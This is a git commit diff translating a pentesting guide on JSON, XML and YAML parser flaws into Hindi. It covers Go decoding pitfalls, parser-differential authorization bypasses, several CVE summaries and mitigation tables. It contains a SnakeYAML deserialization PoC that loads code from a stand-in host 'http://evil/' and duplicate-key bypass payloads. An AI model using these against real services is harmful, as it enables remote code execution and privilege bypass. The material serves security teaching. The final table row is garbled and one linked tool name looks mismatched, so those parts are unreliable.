Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to hi

This commit is contained in:
Translator 2025-08-04 20:31:28 +00:00
parent c28ed846f5
commit fd9ec72561

View File

@ -22,7 +22,7 @@ IsAdmin bool `json:"-"`
```
- सामान्य कमजोरियाँ
1. **गायब टैग** (कोई टैग = फ़ील्ड डिफ़ॉल्ट रूप से अभी भी पार्स किया जाता है):
1. **गायब टैग** (कोई टैग नहीं = फ़ील्ड डिफ़ॉल्ट रूप से अभी भी पार्स किया जाता है):
```go
type User struct {
Username string
@ -51,11 +51,11 @@ IsAdmin bool `json:"-"`
### Parser Differentials
उद्देश्य यह है कि विभिन्न पार्सर्स कैसे समान पेलोड को अलग-अलग तरीके से व्याख्या करते हैं, इसका लाभ उठाकर प्राधिकरण को बायपास किया जाए, जैसे कि:
- CVE-2017-12635: डुप्लिकेट कुंजी के माध्यम से Apache CouchDB बायपास
- 2022: XML पार्सर असंगति के माध्यम से Zoom 0-click RCE
- CVE-2017-12635: Apache CouchDB बायपास डुप्लिकेट कीज़ के माध्यम से
- 2022: Zoom 0-click RCE XML पार्सर असंगति के माध्यम से
- GitLab 2025 SAML बायपास XML विशेषताओं के माध्यम से
**1. डुप्लिकेट फ़ील्ड:**
**1. Duplicate Fields:**
Go का `encoding/json` **अंतिम** फ़ील्ड लेता है।
```go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
@ -109,20 +109,57 @@ Go का XML पार्सर इसे **फिर भी** पार्स
}
```
Result:
- **Go JSON** parser: `Action_2` (केस-इंसेंसिटिव + अंतिम जीतता है)
- **YAML** parser: `Action_1` (केस-सेंसिटिव)
- **Go JSON** parser: `Action_2` (case-insensitive + last wins)
- **YAML** parser: `Action_1` (case-sensitive)
- **XML** parser: parses `"Action_3"` inside the string
---
### 🔐 Mitigations
## उल्लेखनीय पार्सर कमजोरियाँ (2023-2025)
| Risk | Fix |
|-----------------------------|---------------------------------------|
| Unknown fields | `decoder.DisallowUnknownFields()` |
| Duplicate fields (JSON) | ❌ No fix in stdlib |
| Case-insensitive match | ❌ No fix in stdlib |
| XML garbage data | ❌ No fix in stdlib |
| YAML: unknown keys | `yaml.KnownFields(true)` |
> निम्नलिखित सार्वजनिक रूप से शोषण योग्य मुद्दे दिखाते हैं कि असुरक्षित पार्सिंग एक बहु-भाषा समस्या है — केवल एक Go समस्या नहीं।
### SnakeYAML डीसिरियलाइजेशन RCE (CVE-2022-1471)
* प्रभावित: `org.yaml:snakeyaml` < **2.0** (Spring-Boot, Jenkins, आदि द्वारा उपयोग किया जाता है)।
* मूल कारण: `new Constructor()` **मनमाने Java क्लासेस** को डीसिरियलाइज करता है, जिससे गैजेट श्रृंखलाएँ बनती हैं जो दूरस्थ कोड निष्पादन में समाप्त होती हैं।
* One-liner PoC (कमजोर होस्ट पर कैलकुलेटर खोलेगा):
```yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
```
* Fix / Mitigation:
1. **≥2.0 में अपग्रेड करें** (डिफ़ॉल्ट रूप से `SafeLoader` का उपयोग करता है)।
2. पुराने संस्करणों पर, स्पष्ट रूप से `new Yaml(new SafeConstructor())` का उपयोग करें।
### libyaml Double-Free (CVE-2024-35325)
* प्रभावित: `libyaml` ≤0.2.5 (कई भाषा बाइंडिंग द्वारा उपयोग की जाने वाली C लाइब्रेरी)।
* समस्या: `yaml_event_delete()` को दो बार कॉल करने से डबल-फ्री होती है जिसे हमलावर DoS में बदल सकते हैं या कुछ परिदृश्यों में heap शोषण कर सकते हैं।
* स्थिति: अपस्ट्रीम ने “API misuse” के रूप में अस्वीकार कर दिया, लेकिन Linux वितरणों ने **0.2.6** पैच किया जो डिफेंसिव रूप से पॉइंटर को नल-फ्री करता है।
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
* प्रभावित: Tencent **RapidJSON** कमिट `8269bc2` से पहले (<1.1.0-patch-22)।
* बग: `GenericReader::ParseNumber()` में अनचेक्ड अंकगणित हमलावरों को विशाल संख्यात्मक लिटेरल बनाने की अनुमति देता है जो लपेटते हैं और heap को भ्रष्ट करते हैं — अंततः प्रिविलेज-एस्केलेशन को सक्षम करते हैं जब परिणामी ऑब्जेक्ट ग्राफ को प्राधिकरण निर्णयों के लिए उपयोग किया जाता है।
---
### 🔐 Mitigations (Updated)
| जोखिम | सुधार / सिफारिश |
|-------------------------------------|------------------------------------------------------------|
| अज्ञात फ़ील्ड (JSON) | `decoder.DisallowUnknownFields()` |
| डुप्लिकेट फ़ील्ड (JSON) | ❌ stdlib में कोई सुधार नहीं — [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) के साथ मान्य करें |
| केस-इनसेंसिटिव मैच (Go) | ❌ कोई सुधार नहीं — संरचना टैग + पूर्व-मानकीकरण इनपुट को मान्य करें |
| XML गार्बेज डेटा / XXE | एक हार्डन किए गए पार्सर का उपयोग करें (`encoding/xml` + `DisallowDTD`) |
| YAML अज्ञात कुंजी | `yaml.KnownFields(true)` |
| **असुरक्षित YAML डेसिरियलाइजेशन** | SafeConstructor का उपयोग करें / SnakeYAML ≥2.0 में अपग्रेड करें |
| libyaml ≤0.2.5 डबल-फ्री | **0.2.6** में अपग्रेड करें या डिस्ट्रीब्यूशन-पैच रिलीज करें |
| RapidJSON <पैच ि गय कमि | नवनतम RapidJSON (जुल 2024) के ि संकलि करें |
## References
- Baeldung “Resolving CVE-2022-1471 With SnakeYAML 2.0”
- Ubuntu Security Tracker CVE-2024-35325 (libyaml)
{{#include ../banners/hacktricks-training.md}}